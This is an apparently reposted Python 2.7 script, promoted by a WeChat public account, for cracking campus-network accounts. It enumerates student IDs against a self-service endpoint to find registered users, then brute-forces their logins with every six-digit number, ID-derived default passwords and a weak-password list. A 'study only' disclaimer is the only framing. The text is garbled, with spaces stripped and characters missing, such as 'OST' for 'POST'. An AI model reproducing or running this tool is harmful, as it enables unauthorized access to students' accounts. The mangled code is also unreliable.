环境:Python 2.7
#!/usr/bin/envpython#coding=utf8print"+"*50printu"功能:简单破解校园网账号"printu"微信公众号:电脑趣事"printu"仅供学习交流使用,严禁违法犯罪,否则后果自负"print"+"*50importhttplibimporturllibimportreusername=[]httpClient=NoneIf_password=[000000,123456,123123,456456,789789,110110,110120,111111,222222,333333,444444,555555,666666,777777,888888,999999,5201314]defDetermine():nj=int(raw_input("pleaseselectaclass15,16,17:").strip())start=int(raw_input("pleaseinputstart(Prompt:1234):").strip())end=int(raw_input("pleaseinputend(Prompt:5678):").strip())if(end<=startor(nj!=15andnj!=16andnj!=17)):printu"输入有误,请重新选择"print'='*50menu()exit()else:print"pleasewaitamoment"#构造学号foriinrange(start,end):forjinrange(0,100):key_numer=int(str(nj)+str(i).zfill(4)+str(j).zfill(3))try:params=urllib.urlencode({'key':key_numer})headers={"Content-type":"application/x-www-form-urlencoded","Accept":"text/plain"}httpClient=httplib.HTTPConnection("10.54.100.1",8080,timeout=30)httpClient.request("OST","/selfservice/module/userself/web/userself_reg_ajax.jsf?methodName=regUserinfoBean.checkUser",params,headers)response=httpClient.getresponse()right_or_wrong=response.read()#正则和判断zhengze=re.findall(r'false',right_or_wrong,re.M|re.I)iflen(zhengze)==1:username.append(key_numer)exceptException,e:printefinally:ifhttpClient:httpClient.close()print"."*50printu"在这个范围内已开通的账号有:"print""printusernameprint"."*50returnusernamedefConnect(UserName,PassWord):globalatry:params=urllib.urlencode({'name':UserName,'password'assWord})headers={"Content-type":"application/x-www-form-urlencoded","Accept":"text/plain"}httpClient=httplib.HTTPConnection("10.54.100.1",8080,timeout=30)httpClient.request("OST","/selfservice/module/scgroup/web/login_judge.jsf",params,headers)response=httpClient.getresponse()right_or_wrong=response.read()pipei=re.findall(r'errorMsg',right_or_wrong,re.M|re.I)iflen(pipei)==1:a=0#判断是否爆破出来的标记passelse:printu"账号:%s\000\000密码:%s"%(UserName,PassWord)a=1exceptException,e:printefinally:ifhttpClient:httpClient.close()returnadefyanzheng():UserName=str(raw_input("pleaseselectausernameinput:").strip())foriinrange(0,1000000)assWord=str(i).zfill(6)Connect(UserName,PassWord)ifa==1:breakelse:passdefDefault_password_single():UserName=str(raw_input("pleaseselectausernameinput:").strip())PassWord=UserName[3:10]Connect(UserName,PassWord)ifa==0assWord='123456'Connect(UserName,PassWord)ifa==0:printu"已经查找完成"defDefault_password_not_single():print"pleasewaitamoment"foriinrange(0,len(username)):UserName=str(username[i])PassWord=UserName[3:10]Connect(UserName,PassWord)ifa==0assWord='123456'Connect(UserName,PassWord)if(i==len(username)-1anda==0):printu"已经查找完成"defif_password():print"pleasewaitamoment"foriinrange(0,len(username)):UserName=str(username[i])forjinrange(0,len(If_password))assWord=If_password[j]Connect(UserName,PassWord)if(i==len(username)-1andj==len(If_password)-1anda==0):printu"已经查找完毕"defmenu():printu"欢迎大家关注微信公众号:“电脑趣事”,请选择菜单"whileTrue:print"*"*50printu"\t(1)查看已经注册的账号"printu"\t(2)简单的爆破"printu"\t(3)默认密码单个查询"printu"\t(4)默认密码批量查询"printu"\t(5)弱口令爆破"print"*"*50choices=raw_input("leasechoices:").strip()iflen(choices)==0:continueifchoices=='1'etermine()elifchoices=='2':yanzheng()elifchoices=='3'efault_password_single()elifchoices=='4'efault_password_not_single()elifchoices=='5':if_password()else:printu"请注意账号安全!"exit()if__name__=='__main__':menu() |